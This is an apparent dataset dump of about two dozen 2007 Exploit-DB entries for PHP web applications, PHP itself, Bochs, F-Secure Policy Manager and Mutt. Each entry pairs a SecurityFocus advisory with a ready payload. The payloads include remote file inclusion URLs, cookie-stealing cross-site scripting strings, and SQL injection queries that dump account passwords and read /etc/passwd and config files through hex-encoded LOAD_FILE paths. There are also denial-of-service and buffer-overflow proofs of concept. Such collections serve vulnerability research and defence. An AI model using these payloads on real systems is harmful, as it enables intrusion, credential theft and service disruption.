QLWD/code_shield huggingface dataset:
标题: Prototype of an PHP Application 0.1 - 'common.inc.php?path_inc' Remote File Inclusion EDB-ID: 30129 CVE: 2007-3217 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/24266/info
          
'Prototype of an PHP application' is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input to the application.
          
An attacker may leverage these issues to execute an arbitrary remote file containing malicious script code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system. Other attacks are also possible.
          
This issue affects 'Prototype of an PHP application' 0.1. 

http://example.com/script/common.inc.php?path_inc=[shell] URL: https://www.exploit-db.com/exploits/30129
标题: Evenzia Content Management Systems (CMS) - Cross-Site Scripting EDB-ID: 30132 CVE: 2007-2991 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/24270/info

Evenzia CMS is prone to a cross-site script vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/includes/send.inc.php/>'>><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/30132
标题: PHPLive! 3.2.2 - '/super/info.php?BASE_URL' Cross-Site Scripting EDB-ID: 30136 CVE: 2007-3060 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/24276/info
   
PHP Live! is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
   
PHP Live! 3.2.2 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/phplive/super/info.php?BASE_URL=<script>alert(123);</script> URL: https://www.exploit-db.com/exploits/30136
标题: Prototype of an PHP Application 0.1 - '/menu/menuprincipal.php?path_inc' Remote File Inclusion EDB-ID: 30125 CVE: 2007-3217 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/24266/info
      
'Prototype of an PHP application' is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input to the application.
      
An attacker may leverage these issues to execute an arbitrary remote file containing malicious script code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system. Other attacks are also possible.
      
This issue affects 'Prototype of an PHP application' 0.1. 

http://example.com/script/menu/menuprincipal.php?path_inc=[shell] URL: https://www.exploit-db.com/exploits/30125
标题: Prototype of an PHP Application 0.1 - 'param.inc.php?path_inc' Remote File Inclusion EDB-ID: 30126 CVE: 2007-3217 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/24266/info
       
'Prototype of an PHP application' is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input to the application.
       
An attacker may leverage these issues to execute an arbitrary remote file containing malicious script code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system. Other attacks are also possible.
       
This issue affects 'Prototype of an PHP application' 0.1. 

http://example.com/script/param/param.inc.php?path_inc=[shell] URL: https://www.exploit-db.com/exploits/30126
标题: Prototype of an PHP Application 0.1 - '/plugins/PHPgacl/index.php?path_inc' Remote File Inclusion EDB-ID: 30127 CVE: 2007-3217 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/24266/info
        
'Prototype of an PHP application' is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input to the application.
        
An attacker may leverage these issues to execute an arbitrary remote file containing malicious script code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system. Other attacks are also possible.
        
This issue affects 'Prototype of an PHP application' 0.1. 

http://example.com/script/plugins/phpgacl/admin/index.php?path_inc=[shell] URL: https://www.exploit-db.com/exploits/30127
标题: Prototype of an PHP Application 0.1 - '/ident/ident.inc.php?path_inc' Remote File Inclusion EDB-ID: 30124 CVE: 2007-3217 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/24266/info
     
'Prototype of an PHP application' is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input to the application.
     
An attacker may leverage these issues to execute an arbitrary remote file containing malicious script code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system. Other attacks are also possible.
     
This issue affects 'Prototype of an PHP application' 0.1. 

http://example.com/script/ident/ident.inc.php?path_inc=[shell] URL: https://www.exploit-db.com/exploits/30124
标题: Prototype of an PHP Application 0.1 - '/gestion/index.php?path_inc' Remote File Inclusion EDB-ID: 30118 CVE: 2007-3217 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/24266/info

'Prototype of an PHP application' is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input to the application.

An attacker may leverage these issues to execute an arbitrary remote file containing malicious script code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system. Other attacks are also possible.

This issue affects 'Prototype of an PHP application' 0.1. 


http://example.com/script/gestion/index.php?path_inc=[shell] URL: https://www.exploit-db.com/exploits/30118
标题: PHP 5.1.6 - 'Chunk_Split()' Integer Overflow EDB-ID: 30117 CVE: 2007-2872 类型: REMOTE 平台: PHP 发布日期: 2007-05-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/24261/info

PHP is prone to an integer-overflow vulnerability because it fails to ensure that integer values aren't overrun. Attackers may exploit this issue to cause a buffer overflow and to corrupt process memory.

Attackers may be able to execute arbitrary machine code in the context of the affected application. Failed exploit attempts will likely result in a denial-of-service condition.

This issue affects versions prior to PHP 5.2.3.

<?
          $a=str_repeat("A", 65535);
          $b=1;
          $c=str_repeat("A", 65535);
          chunk_split($a,$b,$c);
?> URL: https://www.exploit-db.com/exploits/30117
标题: Prototype of an PHP Application 0.1 - '/ident/loginmodif.php?path_inc' Remote File Inclusion EDB-ID: 30122 CVE: 2007-3217 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/24266/info
    
'Prototype of an PHP application' is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input to the application.
    
An attacker may leverage these issues to execute an arbitrary remote file containing malicious script code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system. Other attacks are also possible.
    
This issue affects 'Prototype of an PHP application' 0.1. 

http://example.com/script/ident/loginmodif.php?path_inc=[shell] URL: https://www.exploit-db.com/exploits/30122
标题: PHP JackKnife 2.21 - '/(PHPJK) UserArea/Authenticate.php?sUName' Cross-Site Scripting EDB-ID: 30114 CVE: 2007-3001 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/24253/info
  
PHP JackKnife is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/PHPJK/UserArea/Authenticate.php?sUName=&lt;/textarea&gt;'"><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/30114
标题: Particle Gallery 1.0 - 'search.php' Cross-Site Scripting EDB-ID: 30109 CVE: 2007-2962 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/24236/info

Particle Gallery is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

This issue affects Particle Gallery 1.0.1 and prior versions. 

http://www.example.com/apppath/search.php?user=admin&order=>"><ScRiPt%20%0a%0d>alert(1111110)%3B</ScRiPt> URL: https://www.exploit-db.com/exploits/30109
标题: PHP JackKnife 2.21 - '/(PHPJK) Search/DisplayResults.php?iSearchID' SQL Injection EDB-ID: 30113 CVE: 2007-3000 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/24253/info
 
PHP JackKnife is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
 
http://www.example.com/PHPJK/Search/DisplayResults.php?DOMAIN_Link=&iSearchID=-1+UNION+SELECT+1,1,1,1,Login,1,Password,1,1,1,1,1,1,1+FROM+Accounts/* URL: https://www.exploit-db.com/exploits/30113
标题: PHP JackKnife 2.21 - '(PHPJK) G_Display.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 30116 CVE: 2007-3001 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/24253/info
    
PHP JackKnife is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues.
    
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/PHPJK/G_Display.php?iCategoryUnq=&lt;/textarea&gt;'"><script>alert(document.cookie)</script>
http://www.example.com/PHPJK/G_Display.php?iDBLoc=&lt;/textarea&gt;'"><script>alert(document.cookie)</script>
http://www.example.com/PHPJK/G_Display.php?iTtlNumItems=&lt;/textarea&gt;'"><script>alert(document.cookie)</script>
http://www.example.com/PHPJK/G_Display.php?&iNumPerPage=&lt;/textarea&gt;'"><script>alert(document.cookie)</script>
http://www.example.com/PHPJK/G_Display.php?sSort=&lt;/textarea&gt;'"><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/30116
标题: PHP JackKnife 2.21 - '(PHPJK) G_Display.php?iCategoryUnq' SQL Injection EDB-ID: 30112 CVE: 2007-3000 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/24253/info

PHP JackKnife is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/PHPJK/G_Display.php?iCategoryUnq=-1/**/union/**/select/**/1,2,Password,4,5,6/**/from/**/Accounts/*
Read database credentials:
http://www.example.com/PHPJK/G_Display.php?iCategoryUnq=-1/**/union/**/select/**/1,2,LOAD_FILE(0x2F7573722F6C6F63616C2F617061636865322F6874646F63732F5048504A4B2F436F6E66696
775726174696F6E732F5048504A4B5F436F6E6669672E706870),4,5,6/**/from/**/Accounts/* URL: https://www.exploit-db.com/exploits/30112
标题: MyBloggie 2.1.x - 'index.php' Multiple SQL Injections EDB-ID: 30111 CVE: 2007-3003 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/24249/info

myBloggie is prone to an SQL-injection vulnerability.

An attacker can exploit this issue by manipulating the SQL query logic to carry out unauthorized actions on the underlying database.

This issue affects myBloggie 2.1.6 and earlier.

http://www.example.com/apppath/index.php?mode=viewuser&cat_id='
http://www.example.com/apppath/index.php?mode=viewuser&month_no=4&year=" URL: https://www.exploit-db.com/exploits/30111
标题: PHP JackKnife 2.21 - '/(PHPJK) UserArea/NewAccounts/index.php?sAccountUnq' Cross-Site Scripting EDB-ID: 30115 CVE: 2007-3001 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/24253/info
   
PHP JackKnife is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues.
   
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/PHPJK/UserArea/NewAccounts/index.php?sAccountUnq=&lt;/textarea&gt;'"><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/30115
标题: Prototype of an PHP Application 0.1 - '/ident/loginliste.php?path_inc' Remote File Inclusion EDB-ID: 30121 CVE: 2007-3217 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/24266/info
   
'Prototype of an PHP application' is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input to the application.
   
An attacker may leverage these issues to execute an arbitrary remote file containing malicious script code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system. Other attacks are also possible.
   
This issue affects 'Prototype of an PHP application' 0.1. 

http://example.com/script/ident/loginliste.php?path_inc=[shell] URL: https://www.exploit-db.com/exploits/30121
标题: Bochs 2.3 - Buffer Overflow (Denial of Service) (PoC) EDB-ID: 30110 CVE: 2007-2894 类型: DOS 平台: LINUX 发布日期: 2007-05-31 漏洞利用脚本: // source: https://www.securityfocus.com/bid/24246/info

Bochs is prone to a heap-based buffer-overflow issue and a denial-of-service issue. The buffer-overflow issue occurs because the application fails to bounds-check user-supplied data before copying it into an insufficiently sized memory buffer. The denial-of-service vulnerability is caused by a divide-by-zero operation.

A local attacker can exploit these issues to execute arbitrary code in the context of the affected application or to cause denial-of-service conditions. Failed exploit attempts of the buffer-overflow vulnerability will also result in denial-of-service conditions. 

#include <sys/io.h>

       int main(int argc, char **argv) {
       iopl(3);
       outw(0x5292, 0x24c);
       outw(0xffff, 0x245);(a)
       outw(0x1ffb, 0x24e);
       outb(0x76, 0x241);
       outb(0x7b, 0x240);
       outw(0x79c4, 0x247);
       outw(0x59e6, 0x240);
       return 0;
                     }

(a) <- TXCNT is inserted here. URL: https://www.exploit-db.com/exploits/30110
标题: Prototype of an PHP Application 0.1 - '/ident/identification.php?path_inc' Remote File Inclusion EDB-ID: 30119 CVE: 2007-3217 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/24266/info
 
'Prototype of an PHP application' is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input to the application.
 
An attacker may leverage these issues to execute an arbitrary remote file containing malicious script code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system. Other attacks are also possible.
 
This issue affects 'Prototype of an PHP application' 0.1. 

http://example.com/script/ident/identification.php?path_inc=[shell] URL: https://www.exploit-db.com/exploits/30119
标题: Prototype of an PHP Application 0.1 - '/ident/disconnect.php?path_inc' Remote File Inclusion EDB-ID: 30120 CVE: 2007-3217 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/24266/info
  
'Prototype of an PHP application' is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input to the application.
  
An attacker may leverage these issues to execute an arbitrary remote file containing malicious script code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system. Other attacks are also possible.
  
This issue affects 'Prototype of an PHP application' 0.1. 

http://example.com/script/ident/disconnect.php?path_inc=[shell] URL: https://www.exploit-db.com/exploits/30120
标题: F-Secure Policy Manager 7.00 - 'FSMSH.dll' Remote Denial of Service EDB-ID: 30104 CVE: 2007-2964 类型: DOS 平台: WINDOWS 发布日期: 2007-05-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/24233/info

F-Secure Policy Manager is prone to a remote denial-of-service vulnerability because the application fails to propelry handle unexpected conditions.

Exploiting this issue allows remote attackers to crash affected applications, denying further service to legitimate users. The vendor states that this application is typically available only to internal networks, making remote exploits over the Internet less likely.

Versions of F-Secure Policy Manager prior to 7.01 are vulnerable. 

#
# This script was written by David Maciejak <david dot maciejak at gmail dot com>
#

if(description)
{
script_id(50000);

script_version("$Revision: 1.0 $");
script_name(english:"F-Secure Policy Manager Server fsmsh.dll module DoS");

desc["english"] = "
Synopsis :

The remote host is an F-Secure Policy Manager Server.

Description :

The remote host is running a version a F-Secure Policy Manager Server which
is vulnerable to a denial of service.
A malicious user can forged a request to query a MS-DOS device name through
fsmsh.dll CGI module causing the service to stop answer to legitimate users.

Solution :

Not available for now.

Risk factor :

High";

script_description(english:desc["english"]);
script_summary(english:"Detects F-Secure Policy Manager DoS flaw");

 script_category(ACT_DENIAL);
 script_copyright(english:"This script is Copyright (C) 2007 David Maciejak");
 script_family(english:"Denial of Service");
 script_require_ports("Services/www", 80);
 exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");

port = get_http_port(default:80);
if ( ! port ) exit(0);
if(!get_port_state(port))exit(0);

if (safe_checks())
{
  # only check FSMSH.DLL version
  buf = http_get(item:"/fsms/fsmsh.dll?FSMSCommand=GetVersion", port:port);
  r = http_keepalive_send_recv(port:port, data:buf, bodyonly:1);
  if( r == NULL )exit(0);
  #this could generate false positive on Linux platform
  if ("7.00.7038" >< r ) {
     security_hole(port);
  }
  exit(0);  
}

buf = http_get(item:"/fsms/fsmsh.dll?FSMSCommand=DownloadPackage&Type=25&Filename=\install\dbupdate\CON", port:port);
r = http_keepalive_send_recv(port:port, data:buf, bodyonly:1);
buf = http_get(item:"/fsms/fsmsh.dll?FSMSCommand=GetVersion", port:port);
r = http_keepalive_send_recv(port:port, data:buf, bodyonly:1);
if( r == NULL ) { 
  security_hole(port);
} URL: https://www.exploit-db.com/exploits/30104
标题: CPCommerce 1.1 - 'manufacturer.php' SQL Injection EDB-ID: 30101 CVE: 2007-2959 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/24223/info

cpCommerce is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

cpCommerce 1.1.0 is reported vulnerable; other versions may also be affected. 

http://www.example.com/cpcommerce/manufacturer.php?id_manufacturer=-9/**/union/**/select/**/pass,LOAD_FILE(0x2F6574632F706173737764),0/**/from/**/cpAccounts/* URL: https://www.exploit-db.com/exploits/30101
标题: DGNews 2.1 - 'NewsID' SQL Injection EDB-ID: 30099 CVE: 2007-0693 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/24212/info

DGNews is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

Successful exploits could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

DGNews 2.1 is reported vulnerable; other versions may also be affected. 

http://www.example.com/news.php?go=fullnews&newsid=-9+union+select+1,2,load_file(char(47,101,116,99,47,112,97,115,115,119,100)),4,5,6,7%20from%2
0news_comment
http://www.example.com/news.php?go=fullnews&newsid=-9+union+select+1,2,load_file(0x2F7573722F6C6F63616C2F617061636865322F6874646F63732F64676E657
7732F61646D696E2F636F6E6E2E706870),4,5,6,7%20from%20news_comment URL: https://www.exploit-db.com/exploits/30099
标题: Mutt 1.4.2 - Mutt_Gecos_Name Function Local Buffer Overflow EDB-ID: 30093 CVE: 2007-2683 类型: LOCAL 平台: LINUX 发布日期: 2007-05-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/24192/info

Mutt is prone to a local buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input before using it in a memory copy operation.

An attacker can exploit this issue to execute arbitrary code with the with the privileges of the victim. Failed exploit attempts will result in a denial of service.

# USERNAME=$(perl -e 'print "a" x 31')
# useradd -c '&&&&&&&&& your-favourite-ascii-shellcode-here' $USERNAME
# echo alias billg $USERNAME >~/.muttrc
# mutt billg
# Segmentation fault (core dumped) URL: https://www.exploit-db.com/exploits/30093
标题: DGNews 1.5.1/2.1 - 'news.php' SQL Injection EDB-ID: 30095 CVE: 2007-0693 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/24201/info

DGNews is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

Successful exploits could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

DGNews 2.1 is reported vulnerable; other versions may also be affected. 

http://www.example.com/news.php?go=newslist&catid=' UNION SELECT 1,`site_title` FROM `news_config` WHERE '1 URL: https://www.exploit-db.com/exploits/30095